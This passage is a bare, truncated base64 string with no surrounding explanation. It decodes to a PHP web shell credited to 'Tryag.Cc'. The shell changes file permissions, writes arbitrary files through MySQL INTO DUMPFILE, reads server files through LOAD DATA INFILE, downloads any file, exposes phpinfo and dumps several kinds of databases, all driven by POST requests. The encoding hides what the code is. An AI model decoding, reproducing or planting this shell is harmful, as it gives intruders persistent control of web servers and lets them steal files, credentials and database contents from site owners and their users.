'PD9waHANCmhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9d2luZG93cy0xMjU2Jyk7DQovKg0KVHVyYm8gRm9yY2UgQnkgVHJ5YWcuQ2MNCiovDQpAc2V0X3RpbWVfbGltaXQoMCk7DQpAZXJyb3JfcmVwb3J0aW5nKDApOw0KaWYoJF9QT1NUWydwYWdlJ109PSdjaG1vZCcpDQp7DQokcGF0aGNsYXNzPSRfUE9TVFtwYXRoY2xhc3NdOw0KJG5hbWVmaWxlPSRfUE9TVFtuYW1lZmlsZV07DQppZihjaG1vZCgkcGF0aGNsYXNzLCRuYW1lZmlsZSkpDQp7DQplY2hvICc8Y2VudGVyPjxiPkxpY2Vuc2UgaGFzIGJlZW4gc3VjY2Vzc2Z1bGx5JzsNCn1lbHNlew0KZWNobyAnPGNlbnRlcj48Yj5GYWlsdXJlJzsNCn0NCg0KZXhpdDsNCn0NCg0KDQppZigkX1BPU1RbJ3BhZ2UnXT09J2ZpbGVfbXlzcWwnKQ0Kew0KJGNvbm5lY3QgPSBteXNxbF9jb25uZWN0KCdsb2NhbGhvc3QnLCRfUE9TVFsnbXlzcWxfbCddLCAkX1BPU1RbJ215c3FsX3AnXSk7DQpteXNxbF9zZWxlY3RfZGIoJF9QT1NUWydteXNxbF9kYiddLCRjb25uZWN0KTsNCg0KJHF1ZXJ5ID0gIkNSRUFURSBUQUJMRSBgdHR0YCAoYHd3d3dgIFRFWFQgTk9UIE5VTEwpIEVOR0lORSA9IE1ZSVNBTSA7IjsNCmlmKG15c3FsX3F1ZXJ5KCRxdWVyeSkpDQp7DQokY29kZXM9JF9QT1NUW2NvZGVzXTsNCiRxdWVyeTIgPSAiSU5TRVJUIElOVE8gYHR0dGAgKGB3d3d3YClWQUxVRVMoJyRjb2RlcycpOyI7DQppZihteXNxbF9xdWVyeSgkcXVlcnkyKSkNCnsNCg0KJHBhdGhjbGFzcyA9ICRfUE9TVFsncGF0aGNsYXNzJ107DQppZihteXNxbF9xdWVyeShzdHJpcHNsYXNoZXMoInNlbGVjdCAqIGludG8gZHVtcGZpbGUgJyRwYXRoY2xhc3MnIGZyb20gdHR0IikpKQ0Kew0KZWNobyAiVGhlIGZpbGUgd2FzIGNyZWF0ZWQgc3VjY2Vzc2Z1bGx5PGJyPiRwYXRoY2xhc3MiOw0KJHF1ZXJ5NCA9ICJEUk9QIFRBQkxFIGB0dHRgIjsNCm15c3FsX3F1ZXJ5KCRxdWVyeTQpOw0KfWVsc2V7DQokZXJyb3IgPSBteXNxbF9lcnJvcigpOw0KZWNobyAiRmFpbHVyZTxicj4kZXJyb3IiOw0KfQ0KDQp9ZWxzZXtlY2hvICdUaGVyZSBpcyBhbiBlcnJvciBpbiBhY2NlcHRpbmcgdGhlIGNvZGUnOw0KJHF1ZXJ5NCA9ICJEUk9QIFRBQkxFIGB0dHRgIjsNCm15c3FsX3F1ZXJ5KCRxdWVyeTQpOw0KfQ0KDQp9DQokcXVlcnk0ID0gIkRST1AgVEFCTEUgYHR0dGAiOw0KbXlzcWxfcXVlcnkoJHF1ZXJ5NCk7DQoNCmV4aXQ7DQp9DQoNCmlmKCRfUE9TVFsncGFnZSddPT0ncmVhZF9teXNxbCcpDQp7DQokdW5pcXVlID0gdW5pcWlkKCdOJyk7DQokZmlsZSA9ICRfUE9TVFsncGF0aGNsYXNzJ107DQokcXVlcnkgPSBhcnJheSggIkNSRUFURSBURU1QT1JBUlkgVEFCTEUgJHVuaXF1ZSAoZmlsZSBMT05HQkxPQikiLCAiTE9BRCBEQVRBIElORklMRSAnIi5teXNxbF9yZWFsX2VzY2FwZV9zdHJpbmcoJGZpbGUpLiInIElOVE8gVEFCTEUgJHVuaXF1ZSIsICJTRUxFQ1QgKiBGUk9NICR1bmlxdWUiICk7DQokY29ubmVjdCA9IG15c3FsX2Nvbm5lY3QoJ2xvY2FsaG9zdCcsJF9QT1NUWydteXNxbF9sJ10sICRfUE9TVFsnbXlzcWxfcCddKTsNCm15c3FsX3NlbGVjdF9kYigkX1BPU1RbJ215c3FsX2RiJ10sJGNvbm5lY3QpOw0KZWNobyAnPHRleHRhcmVhIG5hbWU9ImRiX3F1ZXJ5IiBzdHlsZT0id2lkdGg6IDgwMHB4OyBoZWlnaHQ6IDQwMHB4OyIgZGlyPSJsdHIiPic7DQpmb3JlYWNoKCRxdWVyeSBhcyAkQWxscXVlcmllcykNCnsNCiRteXNxbFF1ZXJ5ID0gbXlzcWxfcXVlcnkoJEFsbHF1ZXJpZXMsJGNvbm5lY3QpOw0Kd2hpbGUoJGxpbmUgPSBAbXlzcWxfZmV0Y2hfcm93KCRteXNxbFF1ZXJ5KSkNCmVjaG8gaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSk7DQp9DQplY2hvICc8L3RleHRhcmVhPic7DQpleGl0Ow0KfQ0KaWYoJF9QT1NUWydwYWdlJ109PSdkb3dubG9hZCcpDQp7DQokbmFtZWZpbGU9JF9QT1NUWyduYW1lZmlsZSddOw0KDQppZigkX1BPU1RbJ25hbWVmaWxlJ109PW51bGwpDQp7DQokdGVzdDE9ZXhwbG9kZSgiLiIsJHBhdGhjbGFzcyk7DQppZihzdHJwb3MoJHRlc3QxWzBdLCJcXCIpKQ0Kew0KJHRlc3QyPWV4cGxvZGUoIlxcXFwiLCR0ZXN0MVswXSk7DQp9ZWxzZXsNCiR0ZXN0Mj1leHBsb2RlKCIvIiwkdGVzdDFbMF0pOw0KfQ0KJHN0PWNvdW50KCR0ZXN0Mik7DQokc3Q9JHN0LTE7DQokbmFtZWZpbGU9JHRlc3QyWyRzdF0uJy4nLiR0ZXN0MVsxXTsNCg0KfQ0KDQoJaGVhZGVyKCdDb250ZW50LURlc2NyaXB0aW9uOiBGaWxlIFRyYW5zZmVyJyk7DQogICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOw0KICAgIGhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy5iYXNlbmFtZSgkbmFtZWZpbGUpKTsNCiAgICBoZWFkZXIoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJpbmFyeScpOw0KICAgIGhlYWRlcignRXhwaXJlczogMCcpOw0KICAgIGhlYWRlcignQ2FjaGUtQ29udHJvbDogbXVzdC1yZXZhbGlkYXRlJyk7DQogICAgaGVhZGVyKCdQcmFnbWE6IHB1YmxpYycpOw0KICAgIGhlYWRlcignQ29udGVudC1MZW5ndGg6ICcgLiBmaWxlc2l6ZSgkbmFtZWZpbGUpKTsNCiAgICBvYl9jbGVhbigpOw0KICAgIGZsdXNoKCk7DQogICAgcmVhZGZpbGUoJHBhdGhjbGFzcyk7DQpleGl0Ow0KfQ0KDQplY2hvICcNCjxodG1sIGRpcj0icnRsIj4NCg0KPGhlYWQ+DQoNCg0KDQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLnN0eWxlMSB7DQoJZm9udC13ZWlnaHQ6IGJvbGQ7DQoJZGlyZWN0aW9uOiBydGw7DQp9DQoNCjwhLS0NCmJvZHkgew0KCWJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQogICAgZm9udC1zaXplOiAxOHB4Ow0KCWNvbG9yOiAjY2NjY2NjOw0KfQ0KaW5wdXQsdGV4dGFyZWEsc2VsZWN0ew0KZm9udC13ZWlnaHQ6IGJvbGQ7DQpjb2xvcjogI2NjY2NjYzsNCmRhc2hlZCAjZmZmZmZmOw0KYm9yZGVyOiAxcHgNCnNvbGlkICMyQzJDMkM7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjMDgwODA4DQp9DQphIHsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMTUxNTE1Ow0KCXZlcnRpY2FsLWFsaWduOiBib3R0b207DQoJY29sb3I6ICMwMDA7DQoJdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KCWZvbnQtc2l6ZTogMjBweDsNCgltYXJnaW46IDhweDsNCglwYWRkaW5nOiA2cHg7DQoJYm9yZGVyOiB0aGluIHNvbGlkICMwMDA7DQp9DQphOmhvdmVyIHsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMDgwODA4Ow0KCXZlcnRpY2FsLWFsaWduOiBib3R0b207DQoJY29sb3I6ICMzMzM7DQoJdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KCWZvbnQtc2l6ZTogMjBweDsNCgltYXJnaW46IDhweDsNCglwYWRkaW5nOiA2cHg7DQoJYm9yZGVyOiB0aGluIHNvbGlkICMwMDA7DQp9DQouc3R5bGUxIHsNCgl0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQouc3R5bGUyIHsNCgljb2xvcjogI0ZGRkZGRjsNCglmb250LXdlaWdodDogYm9sZDsNCn0NCi5zdHlsZTMgew0KCWNvbG9yOiAjRkZGRkZGOw0KfQ0KLS0+DQo8L3N0eWxlPg0KDQo8L2hlYWQ+DQonOw0KDQoNCmZ1bmN0aW9uIGluKCR0eXBlLCRuYW1lLCRzaXplLCR2YWx1ZSwkY2hlY2tlZD0wKSANCiB7DQogJHJldCA9ICI8aW5wdXQgdHlwZT0iLiR0eXBlLiIgbmFtZT0iLiRuYW1lLiIgIjsgaWYoJHNpemUgIT0gMCkgDQogew0KICRyZXQgLj0gInNpemU9Ii4kc2l6ZS4iICI7IH0NCiAkcmV0IC49ICJ2YWx1ZT1cIiIuJHZhbHVlLiJcIiI7IGlmKCRjaGVja2VkKSAkcmV0IC49ICIgY2hlY2tlZCI7IHJldHVybiAkcmV0LiI+IjsgfQ0KIA0KY2xhc3MgbXlfc3FsIA0KIHsNCiB2YXIgJGhvc3QgPSAnbG9jYWxob3N0JzsgdmFyICRwb3J0ID0gJyc7IHZhciAkdXNlciA9ICcnOyB2YXIgJHBhc3MgPSAnJzsgdmFyICRiYXNlID0gJyc7IHZhciAkZGIgPSAnJzsgdmFyICRjb25uZWN0aW9uOyB2YXIgJHJlczsgdmFyICRlcnJvcjsgdmFyICRyb3dzOyB2YXIgJGNvbHVtbnM7IHZhciAkbnVtX3Jvd3M7IHZhciAkbnVtX2ZpZWxkczsgdmFyICRkdW1wOyBmdW5jdGlvbiBjb25uZWN0KCkgDQogew0KIHN3aXRjaCgkdGhpcy0+ZGIpIA0KIHsNCiBjYXNlICdNeVNRTCc6IGlmKGVtcHR5KCR0aGlzLT5wb3J0KSkgDQogew0KICR0aGlzLT5wb3J0ID0gJzMzMDYnOyB9DQogaWYoIWZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpKSByZXR1cm4gMDsgJHRoaXMtPmNvbm5lY3Rpb24gPSBAbXlzcWxfY29ubmVjdCgkdGhpcy0+aG9zdC4nOicuJHRoaXMtPnBvcnQsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3MpOyBpZihpc19yZXNvdXJjZSgkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOyAkdGhpcy0+ZXJyb3IgPSBAbXlzcWxfZXJybm8oKS4iIDogIi5AbXlzcWxfZXJyb3IoKTsgYnJlYWs7IGNhc2UgJ01TU1FMJzogaWYoZW1wdHkoJHRoaXMtPnBvcnQpKSANCiB7DQogJHRoaXMtPnBvcnQgPSAnMTQzMyc7IH0NCiBpZighZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpIHJldHVybiAwOyAkdGhpcy0+Y29ubmVjdGlvbiA9IEBtc3NxbF9jb25uZWN0KCR0aGlzLT5ob3N0LicsJy4kdGhpcy0+cG9ydCwkdGhpcy0+dXNlciwkdGhpcy0+cGFzcyk7IGlmKCR0aGlzLT5jb25uZWN0aW9uKSByZXR1cm4gMTsgJHRoaXMtPmVycm9yID0gIkNhbid0IGNvbm5lY3QgdG8gc2VydmVyIjsgYnJlYWs7IGNhc2UgJ1Bvc3RncmVTUUwnOiBpZihlbXB0eSgkdGhpcy0+cG9ydCkpIA0KIHsNCiAkdGhpcy0+cG9ydCA9ICc1NDMyJzsgfQ0KICRzdHIgPSAiaG9zdD0nIi4kdGhpcy0+aG9zdC4iJyBwb3J0PSciLiR0aGlzLT5wb3J0LiInIHVzZXI9JyIuJHRoaXMtPnVzZXIuIicgcGFzc3dvcmQ9JyIuJHRoaXMtPnBhc3MuIicgZGJuYW1lPSciLiR0aGlzLT5iYXNlLiInIjsgaWYoIWZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKSByZXR1cm4gMDsgJHRoaXMtPmNvbm5lY3Rpb24gPSBAcGdfY29ubmVjdCgkc3RyKTsgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsgJHRoaXMtPmVycm9yID0gQHBnX2xhc3RfZXJyb3IoJHRoaXMtPmNvbm5lY3Rpb24pOyBicmVhazsgY2FzZSAnT3JhY2xlJzogaWYoIWZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKSkgcmV0dXJuIDA7ICR0aGlzLT5jb25uZWN0aW9uID0gQG9jaWxvZ29uKCR0aGlzLT51c2VyLCAkdGhpcy0+cGFzcywgJHRoaXMtPmJhc2UpOyBpZihpc19yZXNvdXJjZSgkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOyAkZXJyb3IgPSBAb2NpZXJyb3IoKTsgJHRoaXMtPmVycm9yPSRlcnJvclsnbWVzc2FnZSddOyBicmVhazsgfQ0KIHJldHVybiAwOyB9DQogZnVuY3Rpb24gc2VsZWN0X2RiKCkgDQogew0KIHN3aXRjaCgkdGhpcy0+ZGIpIA0KIHsNCiBjYXNlICdNeVNRTCc6IGlmKEBteXNxbF9zZWxlY3RfZGIoJHRoaXMtPmJhc2UsJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsgJHRoaXMtPmVycm9yID0gQG15c3FsX2Vycm5vKCkuIiA6ICIuQG15c3FsX2Vycm9yKCk7IGJyZWFrOyBjYXNlICdNU1NRTCc6IGlmKEBtc3NxbF9zZWxlY3RfZGIoJHRoaXMtPmJhc2UsJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsgJHRoaXMtPmVycm9yID0gIkNhbid0IHNlbGVjdCBkYXRhYmFzZSI7IGJyZWFrOyBjYXNlICdQb3N0Z3JlU1FMJzogcmV0dXJuIDE7IGJyZWFrOyBjYXNlICdPcmFjbGUnOiByZXR1cm4gMTsgYnJlYWs7IH0NCiByZXR1cm4gMDsgfQ0KIGZ1bmN0aW9uIHF1ZXJ5KCRxdWVyeSkgDQogew0KICR0aGlzLT5yZXM9JHRoaXMtPmVycm9yPScnOyBzd2l0Y2goJHRoaXMtPmRiKSANCiB7DQogY2FzZSAnTXlTUUwnOiBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBteXNxbF9xdWVyeSgnLyonLmNocigwKS4nKi8nLiRxdWVyeSwkdGhpcy0+Y29ubmVjdGlvbikpKSANCiB7DQogJHRoaXMtPmVycm9yID0gQG15c3FsX2Vycm9yKCR0aGlzLT5jb25uZWN0aW9uKTsgcmV0dXJuIDA7IH0NCiBlbHNlIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5yZXMpKSANCiB7DQogcmV0dXJuIDE7IH0NCiByZXR1cm4gMjsgYnJlYWs7IGNhc2UgJ01TU1FMJzogaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AbXNzcWxfcXVlcnkoJHF1ZXJ5LCR0aGlzLT5jb25uZWN0aW9uKSkpIA0KIHsNCiAkdGhpcy0+ZXJyb3IgPSAnUXVlcnkgZXJyb3InOyByZXR1cm4gMDsgfQ0KIGVsc2UgaWYoQG1zc3FsX251bV9yb3dzKCR0aGlzLT5yZXMpID4gMCkgDQogew0KIHJldHVybiAxOyB9DQogcmV0dXJuIDI7IGJyZWFrOyBjYXNlICdQb3N0Z3JlU1FMJzogaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AcGdfcXVlcnkoJHRoaXMtPmNvbm5lY3Rpb24sJHF1ZXJ5KSkpIA0KIHsNCiAkdGhpcy0+ZXJyb3IgPSBAcGdfbGFzdF9lcnJvcigkdGhpcy0+Y29ubmVjdGlvbik7IHJldHVybiAwOyB9DQogZWxzZSBpZihAcGdfbnVtX3Jvd3MoJHRoaXMtPnJlcykgPiAwKSANCiB7DQogcmV0dXJuIDE7IH0NCiByZXR1cm4gMjsgYnJlYWs7IGNhc2UgJ09yYWNsZSc6IGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG9jaXBhcnNlKCR0aGlzLT5jb25uZWN0aW9uLCRxdWVyeSkpKSANCiB7DQogJHRoaXMtPmVycm9yID0gJ1F1ZXJ5IHBhcnNlIGVycm9yJzsgfQ0KIGVsc2UgDQogew0KIGlmKEBvY2lleGVjdXRlKCR0aGlzLT5yZXMpKSANCiB7DQogaWYoQG9jaXJvd2NvdW50KCR0aGlzLT5yZXMpICE9IDApIHJldHVybiAyOyByZXR1cm4gMTsgfQ0KICRlcnJvciA9IEBvY2llcnJvcigpOyAkdGhpcy0+ZXJyb3I9JGVycm9yWydtZXNzYWdlJ107IH0NCiBicmVhazsgfQ0KIHJldHVybiAwOyB9DQogZnVuY3Rpb24gZ2V0X3Jlc3VsdCgpIA0KIHsNCiAkdGhpcy0+cm93cz1hcnJheSgpOyAkdGhpcy0+Y29sdW1ucz1hcnJheSgpOyAkdGhpcy0+bnVtX3Jvd3M9JHRoaXMtPm51bV9maWVsZHM9MDsgc3dpdGNoKCR0aGlzLT5kYikgDQogew0KIGNhc2UgJ015U1FMJzogJHRoaXMtPm51bV9yb3dzPUBteXNxbF9udW1fcm93cygkdGhpcy0+cmVzKTsgJHRoaXMtPm51bV9maWVsZHM9QG15c3FsX251bV9maWVsZHMoJHRoaXMtPnJlcyk7IHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBteXNxbF9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpOyBAbXlzcWxfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7IGlmKCR0aGlzLT5udW1fcm93cykNCiB7DQokdGhpcy0+Y29sdW1ucyA9IEBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcmV0dXJuIDE7fQ0KIGJyZWFrOyBjYXNlICdNU1NRTCc6ICR0aGlzLT5udW1fcm93cz1AbXNzcWxfbnVtX3Jvd3MoJHRoaXMtPnJlcyk7ICR0aGlzLT5udW1fZmllbGRzPUBtc3NxbF9udW1fZmllbGRzKCR0aGlzLT5yZXMpOyB3aGlsZShmYWxzZSAhPT0gKCR0aGlzLT5yb3dzW10gPSBAbXNzcWxfZmV0Y2hfYXNzb2MoJHRoaXMtPnJlcykpKTsgQG1zc3FsX2ZyZWVfcmVzdWx0KCR0aGlzLT5yZXMpOyBpZigkdGhpcy0+bnVtX3Jvd3MpDQogew0KJHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IHJldHVybiAxO30NCjsgYnJlYWs7IGNhc2UgJ1Bvc3RncmVTUUwnOiAkdGhpcy0+bnVtX3Jvd3M9QHBnX251bV9yb3dzKCR0aGlzLT5yZXMpOyAkdGhpcy0+bnVtX2ZpZWxkcz1AcGdfbnVtX2ZpZWxkcygkdGhpcy0+cmVzKTsgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQHBnX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7IEBwZ19mcmVlX3Jlc3VsdCgkdGhpcy0+cmVzKTsgaWYoJHRoaXMtPm51bV9yb3dzKQ0KIHsNCiR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9DQogYnJlYWs7IGNhc2UgJ09yYWNsZSc6ICR0aGlzLT5udW1fZmllbGRzPUBvY2ludW1jb2xzKCR0aGlzLT5yZXMpOyB3aGlsZShmYWxzZSAhPT0gKCR0aGlzLT5yb3dzW10gPSBAb2NpX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSkgJHRoaXMtPm51bV9yb3dzKys7IEBvY2lmcmVlc3RhdGVtZW50KCR0aGlzLT5yZXMpOyBpZigkdGhpcy0+bnVtX3Jvd3MpDQogew0KJHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IHJldHVybiAxO30NCiBicmVhazsgfQ0KIHJldHVybiAwOyB9DQogZnVuY3Rpb24gZHVtcCgkdGFibGUpIA0KIHsNCiBpZihlbXB0eSgkdGFibGUpKSByZXR1cm4gMDsgJHRoaXMtPmR1bXA9YXJyYXkoKTsgJHRoaXMtPmR1bXBbMF0gPSAnIyMnOyAkdGhpcy0+ZHVtcFsxXSA9ICcjIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gJzsgJHRoaXMtPmR1bXBbMl0gPSAnIyMgIENyZWF0ZWQ6ICcuZGF0ZSAoImQvbS9ZIEg6aTpzIik7ICR0aGlzLT5kdW1wWzNdID0gJyMjIERhdGFiYXNlOiAnLiR0aGlzLT5iYXNlOyAkdGhpcy0+ZHVtcFs0XSA9ICcjIyAgICBUYWJsZTogJy4kdGFibGU7ICR0aGlzLT5kdW1wWzVdID0gJyMjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOyBzd2l0Y2goJHRoaXMtPmRiKSANCiB7DQogY2FzZSAnTXlTUUwnOiAkdGhpcy0+ZHVtcFswXSA9ICcjIyBNeVNRTCBkdW1wJzsgaWYoJHRoaXMtPnF1ZXJ5KCcvKicuY2hyKDApLicqLyBTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKSE9MSkgcmV0dXJuIDA7IGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsgJHRoaXMtPmR1bXBbXSA9ICR0aGlzLT5yb3dzWzBdWydDcmVhdGUgVGFibGUnXS4iOyI7ICR0aGlzLT5kdW1wW10gPSAnIyMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICc7IGlmKCR0aGlzLT5xdWVyeSgnLyonLmNocigwKS4nKi8gU0VMRUNUICogRlJPTSBgJy4kdGFibGUuJ2AnKSE9MSkgcmV0dXJuIDA7IGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsgZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspIA0KIHsNCiBmb3JlYWNoKCR0aGlzLT5yb3dzWyRpXSBhcyAkaz0+JHYpIA0KIHsNCiR0aGlzLT5yb3dzWyRpXVska10gPSBAbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KTt9DQogJHRoaXMtPmR1bXBbXSA9ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgKGAnLkBpbXBsb2RlKCJgLCBgIiwgJHRoaXMtPmNvbHVtbnMpLidgKSBWQUxVRVMgKFwnJy5AaW1wbG9kZSgiJywgJyIsICR0aGlzLT5yb3dzWyRpXSkuJ1wnKTsnOyB9DQogYnJlYWs7IGNhc2UgJ01TU1FMJzogJHRoaXMtPmR1bXBbMF0gPSAnIyMgTVNTUUwgZHVtcCc7IGlmKCR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSkhPTEpIHJldHVybiAwOyBpZighJHRoaXMtPmdldF9yZXN1bHQoKSkgcmV0dXJuIDA7IGZvcigkaT0wOyRpPCR0aGlzLT5udW1fcm93czskaSsrKSANCiB7DQogZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KSANCiB7DQokdGhpcy0+cm93c1skaV1bJGtdID0gQGFkZHNsYXNoZXMoJHYpO30NCiAkdGhpcy0+ZHVtcFtdID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuQGltcGxvZGUoIiwgIiwgJHRoaXMtPmNvbHVtbnMpLicpIFZBTFVFUyAoXCcnLkBpbXBsb2RlKCInLCAnIiwgJHRoaXMtPnJvd3NbJGldKS4nXCcpOyc7IH0NCiBicmVhazsgY2FzZSAnUG9zdGdyZVNRTCc6ICR0aGlzLT5kdW1wWzBdID0gJyMjIFBvc3RncmVTUUwgZHVtcCc7IGlmKCR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSkhPTEpIHJldHVybiAwOyBpZighJHRoaXMtPmdldF9yZXN1bHQoKSkgcmV0dXJuIDA7IGZvcigkaT0wOyRpPCR0aGlzLT5udW1fcm93czskaSsrKSANCiB7DQogZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KSANCiB7DQokdGhpcy0+cm93c1skaV1bJGtdID0gQGFkZHNsYXNoZXMoJHYpO30NCiAkdGhpcy0+ZHVtcFtdID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuQGltcGxvZGUoIiwgIiwgJHRoaXMtPmNvbHVtbnMpLicpIFZBTFVFUyAoXCcnLkBpbXBsb2RlKCInLCAnIiwgJHRoaXMtPnJvd3NbJGldKS4nXCcpOyc7IH0NCiBicmVhazsgY2FzZSAnT3JhY2xlJzogJHRoaXMtPmR1bXBbMF0gPSAnIyMgT1JBQ0xFIGR1bXAnOyAkdGhpcy0+ZHVtcFtdID0gJyMjIHVuZGVyIGNvbnN0cnVjdGlvbic7IGJyZWFrOyBkZWZhdWx0OiByZXR1cm4gMDsgYnJlYWs7IH0NCiByZXR1cm4gMTsgfQ0KIGZ1bmN0aW9uIGNsb3NlKCkgDQogew0KIHN3aXRjaCgkdGhpcy0+ZGIpIA0KIHsNCiBjYXNlICdNeVNRTCc6IEBteXNxbF9jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7IGJyZWFrOyBjYXNlICdNU1NRTCc6IEBtc3NxbF9jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7IGJyZWFrOyBjYXNlICdQb3N0Z3JlU1FMJzogQHBnX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsgYnJlYWs7IGNhc2UgJ09yYWNsZSc6IEBvY2lfY2xvc2UoJHRoaXMtPmNvbm5lY3Rpb24pOyBicmVhazsgfQ0KIH0NCiBmdW5jdGlvbiBhZmZlY3RlZF9yb3dzKCkgDQogew0KIHN3aXRjaCgkdGhpcy0+ZGIpIA0KIHsNCiBjYXNlICdNeVNRTCc6IHJldHVybiBAbXlzcWxfYWZmZWN0ZWRfcm93cygkdGhpcy0+cmVzKTsgYnJlYWs7IGNhc2UgJ01TU1FMJzogcmV0dXJuIEBtc3NxbF9hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOyBicmVhazsgY2FzZSAnUG9zdGdyZVNRTCc6IHJldHVybiBAcGdfYWZmZWN0ZWRfcm93cygkdGhpcy0+cmVzKTsgYnJlYWs7IGNhc2UgJ09yYWNsZSc6IHJldHVybiBAb2Npcm93Y291bnQoJHRoaXMtPnJlcyk7IGJyZWFrOyBkZWZhdWx0OiByZXR1cm4gMDsgYnJlYWs7IH0NCiB9DQogfQ0KIGlmKCFlbXB0eSgkX1BPU1RbJ2NjY2MnXSkgJiYgJF9QT1NUWydjY2NjJ109PSJkb3dubG9hZF9maWxlIiAmJiAhZW1wdHkoJF9QT1NUWydkX25hbWUnXSkpIA0KIHsNCiBpZighJGZpbGU9QGZvcGVuKCRfUE9TVFsnZF9uYW1lJ10sInIiKSkgDQogew0KIGVycigxLCRfUE9TVFsnZF9uYW1lJ10pOyAkX1BPU1RbJ2NjY2MnXT0iIjsgfQ0KIGVsc2UgDQogew0KIEBvYl9jbGVhbigpOyAkZmlsZW5hbWUgPSBAYmFzZW5hbWUoJF9QT1NUWydkX25hbWUnXSk7ICRmaWxlZHVtcCA9IEBmcmVhZCgkZmlsZSxAZmlsZXNpemUoJF9QT1NUWydkX25hbWUnXSkpOyBmY2xvc2UoJGZpbGUpOyAkY29udGVudF9lbmNvZGluZz0kbWltZV90eXBlPScnOyBjb21wcmVzcygkZmlsZW5hbWUsJGZpbGVkdW1wLCRfUE9TVFsnY29tcHJlc3MnXSk7IGlmICghZW1wdHkoJGNvbnRlbnRfZW5jb2RpbmcpKSANCiB7DQogaGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiAnIC4gJGNvbnRlbnRfZW5jb2RpbmcpOyB9DQogaGVhZGVyKCJDb250ZW50LXR5cGU6ICIuJG1pbWVfdHlwZSk7IGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLiRmaWxlbmFtZS4iXCI7Iik7IGVjaG8gJGZpbGVkdW1wOyBleGl0KCk7IH0NCiB9DQogaWYoaXNzZXQoJF9HRVRbJ3BocGluZm8nXSkpIA0KIHsNCiBlY2hvIEBwaHBpbmZvKCk7IGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7IGRpZSgpOyB9DQogaWYgKCFlbXB0eSgkX1BPU1RbJ2NjY2MnXSkgJiYgJF9QT1NUWydjY2NjJ109PSJkYl9xdWVyeSIpIA0KIHsNCiBlY2hvICRoZWFkOyAkc3FsID0gbmV3IG15X3NxbCgpOyAkc3FsLT5kYiA9ICRfUE9TVFsnZGInXT